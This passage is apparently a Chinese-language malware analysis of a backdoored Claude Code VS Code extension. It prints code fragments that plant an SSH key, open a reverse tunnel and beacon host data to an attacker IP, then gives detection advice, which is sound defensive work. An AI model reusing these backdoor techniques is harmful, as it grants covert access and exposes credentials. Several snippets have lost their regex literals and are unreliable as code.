核心摘要
安全公司 Phorion 在 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展中检测到一个后门。该恶意软件能够在 macOS、Linux 和 Windows 系统上部署持久的 SSH 后门。目前,Cursor 已从市场下架相关版本,并从注册表中移除了 NPM 和 VSCode 的 2.1.313 版本。

建议组织立即审查内部环境是否使用了基于 VSCode 2.1.313 的 Claude Code 扩展,一旦发现应立即启动事件响应流程。
尽管植入器针对三大操作系统均设计了持久化逻辑,但本文重点分析其在 macOS 上的行为机制,并指出其他平台的关键差异及实现错误。
由于 Cursor Marketplace 的扩展以 IDE 及其运行用户的权限执行,该后门在模块加载瞬间即可获取本地文件、源代码及开发工具访问权。
Phorion 还发现了一个潜在漏洞:恶意软件试图配置 SSH 后门时,其检查逻辑存在缺陷。脚本假设可以在无 root 权限下查询远程登录状态,但在标准用户模式下,systemsetup -getremotelogin 会因权限不足报错并以状态码 0 退出,而非返回 "Off"。由于脚本仅在输出匹配 "Off" 时才尝试启用 SSH,这一逻辑错误导致在未开启 SSH 的 Mac 上无法建立入口通道。
虽然该漏洞限制了 macOS 上的即时入侵成功率,但该载荷仍构成严重威胁,它成功建立了持久性并将主机侦察数据回传至攻击者控制的基础设施。
感染链分析
初始注入
泄露的 extension.js 文件以一个注入的立即调用函数表达式 (IIFE) 开头。其余包结构看似标准的 Claude Code 与 VS Code 扩展,包含正常的激活/禁用出口及 UI 代码。
IIFE 引入了 Node.js 标准模块 (child_process, fs, os, path, http, crypto) 并在文件加载后、扩展正常激活回调之前执行。这意味着用户无需主动交互,有效载荷即可自动触发。
阶段一:准备 SSH 访问
首先,有效载荷确保 ~/.ssh 目录存在,并将攻击者控制的 Ed25519 公钥添加至 ~/.ssh/authorized_keys,设置目录权限为 0700,文件权限为 0600。
密钥附带注释 SVC remote measurement。脚本在添加前仅检查文件中是否已包含字符串 svc-telemetry,而非校验密钥本身。因此在排查此类活动时,应关注公钥指纹而非仅依赖注释字符串。
var sd = path.join(HOME, ".ssh"),
ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
fs.appendFileSync(ak, PUB + "\n");
d.sshKey = "added"
} else {
d.sshKey = "present"
}
其中 cur 为现有内容,PUB 为嵌入的攻击者公钥。
密钥植入后,持有对应私钥的攻击者即可认证登录,前提是本地 SSH 服务器正在运行。脚本随后尝试启用 SSH 服务:
- Linux: 通过
systemctl启动 sshd 或 ssh,失败则回退至service或/etc/init.d/。 - macOS: 检查远程登录状态,若报告关闭,则尝试通过
sudo -n systemsetup -setremotelogin启动。 - Windows: 使用 PowerShell 安装并启动 OpenSSH 服务器。
上述步骤均未利用特权提升漏洞。非交互式 sudo -n 除非用户已有免密 sudo 缓存,否则通常会失败,因此从标准用户环境启动系统服务并不总是成功。
Windows 代码路径亦存在错误:其通过助手函数 det() 传递 PowerShell 命令,但该函数硬编码了 /bin/sh,这在标准 Windows 环境中无法执行。
macOS 逻辑缺陷详解
在 macOS 上,脚本可能在执行提权命令前受阻。它运行 systemsetup -getremotelogin(未提权)并测试输出是否包含 /Off/i。仅当输出包含 "Off" 时,才尝试启用远程登录:
// ...
else if (PLAT === "darwin") {
var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
d.remoteLogin = rl;
if (.test(rl)) {
det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
d.remoteLoginOn = "tried"
}
}
注意第二个命令使用了 sudo -n,而第一个检查命令没有。当以标准用户身份运行 systemsetup -getremotelogin 时,输出如下:
You need administrator access to run this tool... exiting!
在无管理员权限时,systemsetup 拒绝读取设置,将错误打印到 stdout 并以状态 0 退出。恶意软件的执行助手捕获 stdout 并返回:
function ex(c, t) {
try {
return cp.execSync(c, {
timeout: t 3000,
stdio: ["ignore", "pipe", "ignore"],
windowsHide: true
}).toString().trim()
} catch (e) {
return ""
}
}
由于输出为 "You need administrator access...",正则表达式 /Off/i.test(rl) 评估为 false。
因此,脚本跳过 if 块,不执行 sudo -n systemsetup -setremotelogin on。它将“无权检查 SSH 状态”误判为“SSH 已开启”,这解释了为何在普通用户运行时,进程中看不到启用尝试。
此漏洞可能阻断访问链的最后一步。若 Mac 未启用远程登录,隧道虽可连接至攻击者服务器,但转发流量将触及本地封闭的 22 端口。
但这并非可靠防御。若用户此前已启用远程登录,或后续手动启用,后门即刻生效。
阶段二:建立反向 SSH 隧道
脚本设置出站 SSH 连接至 134.209.82[.]225 的 22 号端口,作为隧道用户。为对攻击者服务器进行身份验证,它解码了一个独立的嵌入式私钥:一个未加密的 OpenSSH Ed25519 密钥,注释为 svc-telemetry-tun。
调查中发现两个关键密钥:
- 添加到
~/.ssh/authorized_keys的公钥 (svc-telemetry) 允许攻击者登录受害者机器。 - 嵌入式私钥 (
svc-telemetry-tun) 允许受害者机器连接攻击者的隧道服务器。
脚本将此隧道密钥写入临时目录,文件名以 .stk_ 开头,后接主机名和主目录路径 MD5 哈希的前十个字符:
var kf = path.join(
TMP,
".stk_" + crypto.createHash("md5")
.update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";
隧道使用 -R *:0:localhost:22 进行远程端口转发。0 要求攻击者 SSH 服务器动态分配监听端口,并将通过隧道回传的流量转发至受害者的 localhost:22:
Affected host -- outbound SSH tunnel --> External SSH server
Operator -- separate connection --> Server's allocated port
|
Through the existing tunnel
|
v
Affected host's SSH:22
|
Login using the planted key
由于使用 -N 标志,隧道仅保持前端开放而不执行远程命令。操作员需通过服务器分配的端口发起单独的 SSH 会话,利用第一阶段植入的密钥对受害者本地 SSH 守护进程进行身份验证,无需在 JavaScript 中自定义 C2 命令处理。
SSH 命令还包含静默和非交互标志:禁用主机密钥检查,忽略 known_hosts,启用 BatchMode 和 IdentitiesOnly,设置 KeepAlive 为 30 秒 (ServerAliveCountMax=3),并开启 ExitOnForwardFailure。
若安装了 autossh,脚本优先使用它;否则回退至标准 ssh。连接被包裹在一个独立的重试循环中,间隔休眠 60 秒,Unix 系统上使用 pgrep 避免重复启动。由于循环是分离的,即使用户关闭 IDE,隧道依然保持。
阶段三:维持可访问性
为了在重启后存活,脚本设置了平台特定的持久化机制:
| 平台 | 工件 | 持久性机制 | 备注 |
|---|---|---|---|
| Linux | ~/.config/.smt, ~/.config/.smtk | 编写 Shell 脚本重建隧道密钥并循环 SSH 连接,然后在用户 crontab 中添加 @reboot 条目。 | Crontab 检查中存在错误,重复运行可能会删除现有的用户 Cron 任务。 |
| macOS | ~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plist | 编写运行 /bin/sh ~/.config/.smt 的用户 LaunchAgent,设置 RunAtLoad 和 KeepAlive 为 true,并通过 launchctl 加载。 | 在用户环境中运行,而非作为根 LaunchDaemon。 |
| Windows | ~/.config/smt.cmd, ~/.config/smtk, %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd | 尝试创建名为 SysMon 的计划任务,在启动时以 SYSTEM 身份运行。若失败,则将 sysmon.cmd 放入用户启动文件夹。 | 创建 SYSTEM 任务需要管理员权限;备用方案(启动文件夹)以登录用户身份运行。 |
在 macOS 和 Linux 上,~/.config/.smt 脚本内嵌有私有隧道密钥,并在重连循环开始前将其写入 ~/.config/.smtk。
在 macOS 上,LaunchAgent 伪装为 Apple 系统组件:~/Library/LaunchAgents/com.apple.sysmond.plist:
<string>com.apple.sysmond
<!-- ... -->
阶段四:主机侦察
最后,脚本收集基本主机信息并向攻击者服务器发送一次性信标:
- 主机名、用户名、操作系统平台和架构
- 主目录、当前工作目录和全局 Git 电子邮件 (
git config --global user.email) - 每个设置阶段的公共 IP 地址和状态标记(例如是否添加了 SSH 密钥以及使用了哪种持久化方法)
- 最多 40 个匹配
/KEY|TOKEN|SECRET|PASS|AWS|GCP/i的环境变量名称(不包含值)
环境变量检查使用 Object.keys(process.env):
Object.keys(process.env)
.filter(function(k) {
return .test(k)
})
.slice(0, 40)
由于仅抓取变量名称,信标不会泄露秘密值本身。而是向操作员提供机器上云凭证或 API 令牌的清单,以便确定优先攻击的主机。
为获取公网 IP,脚本查询 ifconfig[.]me,失败则回退至 api[.]ipify[.]org。
随后通过明文 HTTP POST 请求将 JSON 报告发送至 134.209.82[.]225:8099 和 127.0.0.1:8099 的 /beacon 端点:
var r = http.request({
host: h,
port: p,
path: "/beacon",
method: "POST",
timeout: 3000,
headers: {"content-type": "application/json"}
}, function(res) {
res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()
样本中未明确说明为何同时向 127.0.0.1:8099 发送副本,脚本本身并未在该端口设置本地监听器。
信标通过 setTimeout 调度一次(初始设置运行后 1.5 秒),并使用 res.resume() 丢弃任何 HTTP 响应。这纯粹是一个签到机制,告知操作员主机已就绪,实际访问由 SSH 隧道处理。
检测机会
从检测角度来看,macOS 上使用 Endpoint Security Framework (ESF) 遥测数据可以识别出以下显著行为:
SSH 密钥和配置更改
由于恶意软件直接使用 Node 的 fs.appendFileSync 追加到 ~/.ssh/authorized_keys,仅监控如 echo 或 tee 等 Shell 命令触达该文件的规则将无法捕获。必须依赖文件修改遥测:监控 IDE 辅助进程(如 Code Helper, Cursor Helper)创建或写入 ~/.ssh/authorized_keys。
即使 IDE 二进制文件签名有效,其扩展宿主进程也不应在后台修改 SSH 认证文件。
虽然也应监控 systemsetup -setremotelogin on,但不要将其作为警报的必要条件。如前所述,macOS 上的状态检查缺陷意味着该命令往往根本不会运行。
用户 LaunchAgent 持久化
macOS 上的持久化设置提供了几个强信号:
- 非 Apple 进程写入带有
com.apple.*标签的 plist 文件(~/Library/LaunchAgents/com.apple.sysmond.plist)。 - LaunchAgent 配置为对用户主目录中的隐藏脚本执行
/bin/sh(~/.config/.smt)。
由于初始隧道作为分离进程生成,且 launchd 随后直接管理 .smt,后续的 ssh 进程在实时进程树中将不会显示 IDE 为直接父进程。将 .smt 和 com.apple.sysmond.plist 的文件创建关联回 IDE 扩展宿主,有助于还原攻击链。
SSH 隧道及后续访问
在进程和网络层面,查找以下迹象:
- 使用远程端口转发 (
-R *:0:localhost:22) 启动的ssh或autossh,且身份文件来自/tmp/.stk_*或~/.config/.smtk。 - 向
134.209.82[.]225端口 22 的出站 SSH 连接,以及向134.209.82[.]225:8099的 HTTP POST





